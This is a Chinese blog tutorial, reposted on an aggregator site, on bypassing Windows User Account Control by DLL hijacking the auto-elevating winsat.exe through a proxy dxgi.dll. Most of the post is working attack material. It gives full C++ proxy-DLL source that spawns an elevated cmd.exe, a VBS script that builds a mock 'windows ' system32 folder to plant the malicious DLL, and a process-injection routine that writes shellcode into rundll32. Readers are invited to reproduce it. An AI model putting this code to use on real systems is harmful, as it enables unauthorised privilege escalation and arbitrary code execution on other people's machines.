Deprecated: imwpcache\f884414bce24ee67f\f73723ec7b1919fa5::__construct(): Implicitly marking parameter $YECBGYFECGEAFWHA as nullable is deprecated, the explicit nullable type must be used instead in /www/wwwroot/www.chuangxiangniao.com/wp-content/plugins/imwpcache-dist/build/f884414bce24ee67ff73723ec7b1919fa5.php on line 2

Deprecated: imwpcache\f884414bce24ee67f\f73723ec7b1919fa5::__construct(): Implicitly marking parameter $BBWFDDBHHYHDXXAB as nullable is deprecated, the explicit nullable type must be used instead in /www/wwwroot/www.chuangxiangniao.com/wp-content/plugins/imwpcache-dist/build/f884414bce24ee67ff73723ec7b1919fa5.php on line 2
bypassUAC && DLL劫持_创想鸟

bypassUAC && DLL劫持

0x11 uac简介

用户账户控制(User Account Control,简称UAC)是微软公司在Windows Vista及更高版本操作系统中引入的一种安全机制。其目的是通过提示用户授权应用程序访问硬盘驱动器和系统文件,来防止恶意软件损害系统。

UAC需要授权的操作包括:

配置Windows Update添加或删除用户账户更改用户账户类型更改UAC设置安装ActiveX控件安装或卸载程序安装设备驱动程序设置家长控制将文件移动或复制到Program Files或Windows目录查看其他用户的文件夹

效果如下:

bypassUAC && DLL劫持

UAC设置有不同的级别,具体设置如下:

bypassUAC && DLL劫持

为什么有些应用程序不需要UAC提示?

简单来说,因为这些应用程序可以自动提升权限(autoElevate)。这也是常见的UAC绕过方法之一。常见方法包括:

白名单提权机制 – autoElevateDLL劫持利用Windows自身漏洞提权远程注入COM接口技术

具有autoElevate属性的应用程序在启动时会自动以管理员身份运行。这些应用程序通常具有微软的数字签名,被认为是可信的。如果我们通过COM技术或DLL劫持这些应用程序,也能获得管理员权限,但这需要较高的分析成本和技术难度。

0x12 BypassUAC

接下来,我们将寻找具有autoElevate权限的应用程序,并通过DLL劫持来绕过UAC。关于DLL劫持的原理,网上已有许多相关的文章,这里不再赘述。

首先,使用以下命令查找具有autoElevate属性的可执行文件:

strings.exe -s *.exe | findstr /i autoelevate

bypassUAC && DLL劫持

我们选择了winsat.exe作为目标劫持程序。查看该程序加载的DLL,发现其会加载dxgi.dll。

bypassUAC && DLL劫持

下面是我们编写的DLL劫持代码,原理如下图所示(图源自国外):

bypassUAC && DLL劫持

可以通过dllexp查看DLL内的函数:

Imagine By Magic Studio Imagine By Magic Studio

AI图片生成器,用文字制作图片

Imagine By Magic Studio 79 查看详情 Imagine By Magic Studio

bypassUAC && DLL劫持

你可以自行编写所需的DLL,也可以使用自动化工具生成。经过多次尝试和团队wlpz师傅的指导,我们最终的目标是通过DLL劫持运行cmd.exe,主要代码如下:

# include "pch.h"#include #include #pragma comment(lib, "Wtsapi32.lib")# define EXTERNC extern "C"# define NAKED __declspec(naked)# define EXPORT EXTERNC __declspec(dllexport)# define ALCPP EXPORT NAKED# define ALSTD EXTERNC EXPORT NAKED void __stdcall# define ALCFAST EXTERNC EXPORT NAKED void __fastcall# define ALCDECL EXTERNC NAKED void __cdecl

EXTERNC {FARPROC Hijack_ApplyCompatResolutionQuirking;FARPROC Hijack_CompatString;FARPROC Hijack_CompatValue;FARPROC Hijack_CreateDXGIFactory;FARPROC Hijack_CreateDXGIFactory1;FARPROC Hijack_CreateDXGIFactory2;FARPROC Hijack_DXGID3D10CreateDevice;FARPROC Hijack_DXGID3D10CreateLayeredDevice;FARPROC Hijack_DXGID3D10GetLayeredDeviceSize;FARPROC Hijack_DXGID3D10RegisterLayers;FARPROC Hijack_DXGIDeclareAdapterRemovalSupport;FARPROC Hijack_DXGIDumpJournal;FARPROC Hijack_DXGIGetDebugInterface1;FARPROC Hijack_DXGIReportAdapterConfiguration;FARPROC Hijack_PIXBeginCapture;FARPROC Hijack_PIXEndCapture;FARPROC Hijack_PIXGetCaptureState;FARPROC Hijack_SetAppCompatStringPointer;FARPROC Hijack_UpdateHMDEmulationStatus;}

namespace DLLHijacker{HMODULE m_hModule = NULL;DWORD m_dwReturn[17] = {0};inline BOOL WINAPI Load(){TCHAR tzPath[MAX_PATH];lstrcpy(tzPath, TEXT("dxgi"));m_hModule = LoadLibrary(tzPath);if (m_hModule == NULL)return FALSE;return (m_hModule != NULL);}FARPROC WINAPI GetAddress(PCSTR pszProcName){FARPROC fpAddress;CHAR szProcName[16];fpAddress = GetProcAddress(m_hModule, pszProcName);if (fpAddress == NULL){if (HIWORD(pszProcName) == 0){wsprintf((LPWSTR)szProcName, L"%d", pszProcName);pszProcName = szProcName;}ExitProcess(-2);}return fpAddress;}}

using namespace DLLHijacker;

void StartProcess(){STARTUPINFO startInfo = { 0 };PROCESS_INFORMATION procInfo = { 0 };WCHAR cmdline[] = L"cmd.exe";

CreateProcess(cmdline, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &startInfo, &procInfo);

}

BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:{DisableThreadLibraryCalls(hModule);if(Load()){Hijack_ApplyCompatResolutionQuirking = GetAddress("ApplyCompatResolutionQuirking");Hijack_CompatString = GetAddress("CompatString");Hijack_CompatValue = GetAddress("CompatValue");Hijack_CreateDXGIFactory = GetAddress("CreateDXGIFactory");Hijack_CreateDXGIFactory1 = GetAddress("CreateDXGIFactory1");Hijack_CreateDXGIFactory2 = GetAddress("CreateDXGIFactory2");Hijack_DXGID3D10CreateDevice = GetAddress("DXGID3D10CreateDevice");Hijack_DXGID3D10CreateLayeredDevice = GetAddress("DXGID3D10CreateLayeredDevice");Hijack_DXGID3D10GetLayeredDeviceSize = GetAddress("DXGID3D10GetLayeredDeviceSize");Hijack_DXGID3D10RegisterLayers = GetAddress("DXGID3D10RegisterLayers");Hijack_DXGIDeclareAdapterRemovalSupport = GetAddress("DXGIDeclareAdapterRemovalSupport");Hijack_DXGIDumpJournal = GetAddress("DXGIDumpJournal");Hijack_DXGIGetDebugInterface1 = GetAddress("DXGIGetDebugInterface1");Hijack_DXGIReportAdapterConfiguration = GetAddress("DXGIReportAdapterConfiguration");Hijack_PIXBeginCapture = GetAddress("PIXBeginCapture");Hijack_PIXEndCapture = GetAddress("PIXEndCapture");Hijack_PIXGetCaptureState = GetAddress("PIXGetCaptureState");Hijack_SetAppCompatStringPointer = GetAddress("SetAppCompatStringPointer");Hijack_UpdateHMDEmulationStatus = GetAddress("UpdateHMDEmulationStatus");

        StartProcess();    }}case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:    break;}return TRUE;

}

然而,我们遇到了一个问题:系统的DLL通常需要权限才能更改或移动。为了解决这个问题,我们找到了一个VBS脚本,可以帮助我们完成操作,代码如下:

Set oFSO = CreateObject("Scripting.FileSystemObject")Set wshshell = wscript.createobject("WScript.Shell")

' Get target binary and payloadWScript.StdOut.Write("System32 binary: ")strBinary = WScript.StdIn.ReadLine()WScript.StdOut.Write("Path to your DLL: ")strDLL = WScript.StdIn.ReadLine()

' Create foldersConst target = "c:windows "target_sys32 = (target & "system32")target_binary = (target_sys32 & strBinary)

If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End IfIf Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If

' Copy legit binary and evil DLLoFSO.CopyFile ("c:windowssystem32" & strBinary), target_binaryoFSO.CopyFile strDLL, target_sys32

' Run, Forrest, Run!wshshell.Run("""" & target_binary & """")

' Clean filesWScript.StdOut.Write("Clean up? (press enter to continue)")WScript.StdIn.ReadLine()wshshell.Run("powershell /c ""rm -r """"?" & target & """""""")

最终效果如下:

bypassUAC && DLL劫持

如果需要加载shellcode,可以修改其中的函数,例如如下所示:

void StartProcess(){unsigned char shellcode_calc[] ="xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52""x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48""x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9""x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41""x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48""x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01""xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48""xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0""xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c""x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0""x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04""x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59""x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48""x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00""x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f""x87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxff""xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb""x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6c""x63x2ex65x78x65x00";TCHAR CommandLine[] = TEXT("c:windowssystem32rundll32.exe");CONTEXT Context;struct _STARTUPINFOA StartupInfo;struct _PROCESS_INFORMATION ProcessInformation;LPVOID lpBaseAddress;

ZeroMemory(&StartupInfo, sizeof(StartupInfo));StartupInfo.cb = 104;if (CreateProcess(0, CommandLine, 0, 0, 0, 0x44, 0, 0, (LPSTARTUPINFOW)&StartupInfo, &ProcessInformation)) {Context.ContextFlags = 1048579;GetThreadContext(ProcessInformation.hThread, &Context);lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, 0x800u, 0x1000u, 0x40u);WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &shellcode_calc, 0x800u, 0);Context.Rip = (DWORD64)lpBaseAddress;SetThreadContext(ProcessInformation.hThread, &Context);ResumeThread(ProcessInformation.hThread);CloseHandle(ProcessInformation.hThread);CloseHandle(ProcessInformation.hProcess);}}

最后,学习该方法时,我们发现作者整理了一份可劫持的系统表,地址如下:

https://www.php.cn/link/8500107a87fb6519162b221f50d23acf

bypassUAC && DLL劫持

有兴趣的可以尝试复现。

参考文章:

https://www.php.cn/link/60ca0083f9f3c57b8a91c3022d460c55

https://www.php.cn/link/2ea4096fb5cd947a1aeead6447a922a6

https://www.php.cn/link/eac53e141058c06737f091776b2e5462

以上就是bypassUAC && DLL劫持的详细内容,更多请关注创想鸟其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/787933.html

赞 (0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
如何关闭苹果iPhone 15的始终显示功能?
上一篇 2025年11月26日 13:05:14
手机打印机设置指南(快速连接和操作打印机的步骤)
下一篇 2025年11月26日 13:05:15

相关推荐

  • 豆包AI如何配置语音指令 豆包AI自定义唤醒词设置

    豆包AI如何配置语音指令 豆包AI自定义唤醒词设置豆包AI如何配置语音指令 豆包AI自定义唤醒词设置豆包AI如何配置语音指令 豆包AI自定义唤醒词设置豆包AI如何配置语音指令 豆包AI自定义唤醒词设置

    本文将指导您如何配置豆包AI的语音指令,并详细介绍如何进行自定义唤醒词的设置,以期帮助您更好地利用豆包AI的智能语音交互功能。 ☞☞☞AI 智能聊天, 问答助手, AI 智能搜索, 免费无限量使用 DeepSeek R1 模型☜☜☜ 配置豆包AI的语音指令 要配置豆包AI的语音指令,您需要了解豆包A…

    2026年9月28日 • 用户投稿
    000
  • 解决Spring Cloud API Gateway中的JWT验证问题

    解决Spring Cloud API Gateway中的JWT验证问题解决Spring Cloud API Gateway中的JWT验证问题解决Spring Cloud API Gateway中的JWT验证问题解决Spring Cloud API Gateway中的JWT验证问题

    解决Spring Cloud API Gateway中的JWT验证问题 本文旨在解决Spring Cloud API Gateway中使用JWT进行身份验证时遇到的java.lang.NoClassDefFoundError: javax/xml/bind/DatatypeConverter和jav…

    2026年9月28日 • 用户投稿
    000
  • 5G vs. 5G vs. 10G 网卡芯片实际吞吐量与CPU占用率测试

    5G vs. 5G vs. 10G 网卡芯片实际吞吐量与CPU占用率测试5G vs. 5G vs. 10G 网卡芯片实际吞吐量与CPU占用率测试5G vs. 5G vs. 10G 网卡芯片实际吞吐量与CPU占用率测试5G vs. 5G vs. 10G 网卡芯片实际吞吐量与CPU占用率测试

    5G与10G网卡能否跑满吞吐量取决于链路配置和系统性能,而非仅网卡本身;CPU占用率则受硬件加速、中断合并及驱动优化影响。家用场景中5G性价比高,可满足SATA SSD需求;专业场景或未来升级建议选10G,因带宽余量更充足。 直接看结论:5G和10G网卡的实际吞吐量能否跑满,关键不在于网卡本身,而在…

    2026年9月28日 • 用户投稿
    000
  • Sublime怎么给运行的程序传参_带命令行参数的构建系统设置

    Sublime怎么给运行的程序传参_带命令行参数的构建系统设置Sublime怎么给运行的程序传参_带命令行参数的构建系统设置Sublime怎么给运行的程序传参_带命令行参数的构建系统设置Sublime怎么给运行的程序传参_带命令行参数的构建系统设置

    可通过配置自定义构建系统在Sublime中传递命令行参数:一、创建PythonArgs.sublime-build文件并配置cmd和variants;二、使用Build With Args变体在运行时通过输入框传参;三、直接在cmd中硬编码固定参数;四、利用shell_cmd读取环境变量实现灵活传参…

    2026年9月28日 • 用户投稿
    000
  • iCloud官网怎么导出备忘录_iCloud备忘录导出备份教程

    iCloud官网怎么导出备忘录_iCloud备忘录导出备份教程iCloud官网怎么导出备忘录_iCloud备忘录导出备份教程iCloud官网怎么导出备忘录_iCloud备忘录导出备份教程iCloud官网怎么导出备忘录_iCloud备忘录导出备份教程

    可通过iCloud官网手动复制、Mac导出为mbox/rtf、iOS设备分享为PDF或文本、第三方工具批量导出等方式将iCloud备忘录备份至本地,确保数据安全迁移与归档。 如果您希望将存储在iCloud中的备忘录导出或进行本地备份,以便在设备更换或数据管理时使用,可以通过多种方式实现。以下是具体的…

    2026年9月28日 • 用户投稿
    000
  • VSCode如何优化扩展加载速度 VSCode插件延迟加载的配置方案

    VSCode如何优化扩展加载速度 VSCode插件延迟加载的配置方案VSCode如何优化扩展加载速度 VSCode插件延迟加载的配置方案VSCode如何优化扩展加载速度 VSCode插件延迟加载的配置方案VSCode如何优化扩展加载速度 VSCode插件延迟加载的配置方案

    使用developer: startup performance命令分析启动耗时,识别慢加载扩展;2. 卸载或禁用不必要及高开销扩展,优先保留必需功能;3. 利用工作区settings.json和extensions.json实现按项目需求启用扩展;4. 启用扩展二分法快速定位问题插件;5. 升级硬…

    2026年9月28日 • 用户投稿
    100
  • 多模态AI如何识别化学结构 多模态AI分子式解析技术

    多模态AI如何识别化学结构 多模态AI分子式解析技术多模态AI如何识别化学结构 多模态AI分子式解析技术多模态AI如何识别化学结构 多模态AI分子式解析技术多模态AI如何识别化学结构 多模态AI分子式解析技术

    本文将探讨多模态AI如何识别化学结构这一前沿技术。我们将详细介绍多模态AI在分子式解析中的核心原理、关键技术以及实际应用,旨在帮助读者理解这一领域的发展现状和未来趋势,并提供一个清晰的学习和操作思路,使您能够掌握多模态AI解析化学结构的方法。 ☞☞☞AI 智能聊天, 问答助手, AI 智能搜索, 免…

    2026年9月28日 • 用户投稿
    000
  • 抖音主页怎么做合集?抖音合集如何创建

    抖音主页怎么做合集?抖音合集如何创建抖音主页怎么做合集?抖音合集如何创建抖音主页怎么做合集?抖音合集如何创建抖音主页怎么做合集?抖音合集如何创建

    随着抖音的不断发展,越来越多用户开始重视个人主页的运营。其中,主页合集功能成为提升账号专业度和内容可读性的关键工具。一个结构清晰、主题明确的抖音合集,不仅能增强粉丝粘性,还能有效吸引新观众。那么,如何创建并优化你的抖音主页合集呢?下面为你全面解析。 一、什么是抖音主页合集 抖音主页合集是平台提供的一…

    2026年9月28日 • 用户投稿
    500
  • firefox浏览器如何清除指定的网站数据 Firefox浏览器清除单个网站数据教程

    firefox浏览器如何清除指定的网站数据 Firefox浏览器清除单个网站数据教程firefox浏览器如何清除指定的网站数据 Firefox浏览器清除单个网站数据教程firefox浏览器如何清除指定的网站数据 Firefox浏览器清除单个网站数据教程firefox浏览器如何清除指定的网站数据 Firefox浏览器清除单个网站数据教程

    首先通过设置页面精准删除特定网站数据,进入“隐私与安全”中的“管理数据”,搜索并移除目标站点;其次可利用地址栏的站点信息面板,一键清除当前访问网站的Cookie与数据;最后可通过安装附加组件实现批量或规则化管理,提升清理效率。 如果您希望在Firefox浏览器中移除某个特定网站的浏览数据,例如缓存、…

    2026年9月28日 • 用户投稿
    200
  • linux开发vm虚拟机开发环境共享

    经过一段时间的沉寂,我终于抽出时间来整理了一个非常有用的工具。这款工具主要面向使用golang、php和java的linux开发环境。尽管java开发者通常使用图形界面工具进行开发,这里就不详细讨论了,但对于golang或php开发者来说,拥有一个与线上环境相似的linux开发虚拟机是非常必要的,因…

    2026年9月28日
    000
  • 探讨如何在APP中建立信任关系(建立信任关系的关键步骤与方法)

    探讨如何在APP中建立信任关系(建立信任关系的关键步骤与方法)探讨如何在APP中建立信任关系(建立信任关系的关键步骤与方法)探讨如何在APP中建立信任关系(建立信任关系的关键步骤与方法)探讨如何在APP中建立信任关系(建立信任关系的关键步骤与方法)

    随着移动应用程序(app)的普及,用户信任问题越来越重要。如何在app中建立信任关系对于用户体验和企业的发展至关重要。本文将探讨建立app信任关系的关键步骤和方法。 微信 WeLM WeLM不是一个直接的对话机器人,而是一个补全用户输入信息的生成模型。 33 查看详情 1.提供用户友好的界面设计:良…

    2026年9月28日 • 用户投稿
    000
  • windows蓝屏代码unmountable_boot_volume怎么办 蓝屏unmountable_boot_volume的解决方法

    蓝屏错误“UNMOUNTABLE_BOOT_VOLUME”通常由硬盘、文件系统或驱动问题引起,可依次尝试安全模式下运行chkdsk修复磁盘、使用SFC和DISM修复系统文件、更新或回滚存储控制器驱动、通过安装U盘重建MBR和BCD引导信息,并利用CrystalDiskInfo等工具检测硬盘健康状况,…

    2026年9月28日
    000
  • Safari浏览器如何阻止网站跟踪我_Safari浏览器开启“智能防跟踪”功能指南

    Safari浏览器如何阻止网站跟踪我_Safari浏览器开启“智能防跟踪”功能指南Safari浏览器如何阻止网站跟踪我_Safari浏览器开启“智能防跟踪”功能指南Safari浏览器如何阻止网站跟踪我_Safari浏览器开启“智能防跟踪”功能指南Safari浏览器如何阻止网站跟踪我_Safari浏览器开启“智能防跟踪”功能指南

    1、Safari浏览器可通过启用智能防跟踪功能阻止跨站追踪,保护用户隐私。2、在设置中勾选阻止跨站跟踪并选择始终阻止Cookie可增强防护,但可能影响网站登录便利性。3、定期清除所有历史记录能消除过往跟踪数据。4、使用无痕窗口可避免本地留存浏览痕迹,适合敏感操作。 如果您在浏览网页时发现广告内容与您…

    2026年9月28日 • 用户投稿
    100
  • 《星际战甲》最新Prime 战甲Caliban将于8月27日上线

    《星际战甲》最新Prime 战甲Caliban将于8月27日上线《星际战甲》最新Prime 战甲Caliban将于8月27日上线《星际战甲》最新Prime 战甲Caliban将于8月27日上线《星际战甲》最新Prime 战甲Caliban将于8月27日上线

    digital extremes日前发布消息,备受期待的《星际战甲》新内容——prime 战甲caliban将于8月27日正式登场,为玩家带来更加震撼的游戏体验,敬请关注。 ·全新推出的Prime 战甲Caliban,融合了奥罗金与森提恩特两大文明的顶尖科技,是一款大幅提升战场适应能力的高阶战甲。其…

    2026年9月28日 • 用户投稿
    100
  • DeepSeek如何配置负载测试 DeepSeek压力测试方案

    DeepSeek如何配置负载测试 DeepSeek压力测试方案DeepSeek如何配置负载测试 DeepSeek压力测试方案DeepSeek如何配置负载测试 DeepSeek压力测试方案DeepSeek如何配置负载测试 DeepSeek压力测试方案

    本文将指导您如何配置DeepSeek进行负载测试,以评估其在不同压力下的性能表现。我们将详细介绍从准备工作到执行测试再到结果分析的整个流程,帮助您掌握DeepSeek压力测试的常用方法和关键步骤。通过这些方法,您可以了解DeepSeek在处理高并发请求时的稳定性和响应速度,并为优化其性能提供数据支持…

    2026年9月28日 • 用户投稿
    100
  • 计算JSON驱动的问卷调查路径数量:Java递归实现

    计算JSON驱动的问卷调查路径数量:Java递归实现计算JSON驱动的问卷调查路径数量:Java递归实现计算JSON驱动的问卷调查路径数量:Java递归实现计算JSON驱动的问卷调查路径数量:Java递归实现

    本文档旨在指导开发者如何使用Java和JSON数据,计算一个基于JSON配置的问卷调查中所有可能的路径数量。我们将通过一个实际的问卷调查JSON结构示例,展示如何使用递归算法有效地遍历所有可能的答案分支,并最终得到路径总数。重点在于理解递归在解决此类问题中的应用,以及如何根据JSON结构调整递归逻辑…

    2026年9月28日 • 用户投稿
    300
  • 抖音主页怎么显示橱窗?抖音橱窗在哪开

    抖音主页怎么显示橱窗?抖音橱窗在哪开抖音主页怎么显示橱窗?抖音橱窗在哪开抖音主页怎么显示橱窗?抖音橱窗在哪开抖音主页怎么显示橱窗?抖音橱窗在哪开

    随着抖音平台的不断发展,越来越多用户开始通过短视频和直播分享生活、展示才艺,甚至开启线上带货的新模式。其中,抖音主页的“商品橱窗”功能成为连接创作者与商品的重要桥梁。那么,抖音主页如何显示橱窗?又该如何开通呢?下面为你详细解析。 一、什么是抖音商品橱窗? 商品橱窗是抖音为创作者提供的一个电商功能,允…

    2026年9月28日 • 用户投稿
    000
  • 忘记了家庭WiFi密码(忘记WiFi密码怎么办)

    忘记了家庭WiFi密码(忘记WiFi密码怎么办)忘记了家庭WiFi密码(忘记WiFi密码怎么办)忘记了家庭WiFi密码(忘记WiFi密码怎么办)忘记了家庭WiFi密码(忘记WiFi密码怎么办)

    随着无线网络的普及,wifi已成为我们日常生活中不可或缺的一部分。然而,有时候我们会遇到一个尴尬的问题,就是忘记了自家wifi的密码。当这种情况发生时,我们应该如何解决呢?本文将为您提供一些简单易行的方法,帮助您找回忘记的wifi密码。 喵记多 喵记多 – 自带助理的 AI 笔记 27 …

    2026年9月28日 • 用户投稿
    100
  • 为什么不同用户对同一型号硬件的评价差异很大?

    为什么不同用户对同一型号硬件的评价差异很大?为什么不同用户对同一型号硬件的评价差异很大?为什么不同用户对同一型号硬件的评价差异很大?为什么不同用户对同一型号硬件的评价差异很大?

    评价差异源于用户需求、场景、预期和敏感度不同,同一硬件在不同语境下表现各异,好与坏取决于个体参照系和使用目的。 评价差异很大,这其实很正常,因为它源于用户独特的需求、使用环境、预期值以及对硬件特性敏感度的不同。一个硬件产品,从来都不是一个孤立的“好”或“坏”的实体,它总是在特定的语境中被感知和判断。…

    2026年9月28日 • 用户投稿
    000
  • SublimeText官网下载教程_如何找到并安装正确版本

    SublimeText官网下载教程_如何找到并安装正确版本SublimeText官网下载教程_如何找到并安装正确版本SublimeText官网下载教程_如何找到并安装正确版本SublimeText官网下载教程_如何找到并安装正确版本

    首先访问官网https://www.sublimetext.com/并核对域名与证书,然后根据系统选择对应版本下载安装,最后通过“帮助-关于”确认版本信息以确保正确安装。 如果您尝试下载Sublime Text编辑器,但访问了错误的链接或选择了不兼容的版本,则可能导致安装失败或功能异常。以下是解决此…

    2026年9月28日 • 用户投稿
    500

发表回复

登录后才能评论
关注微信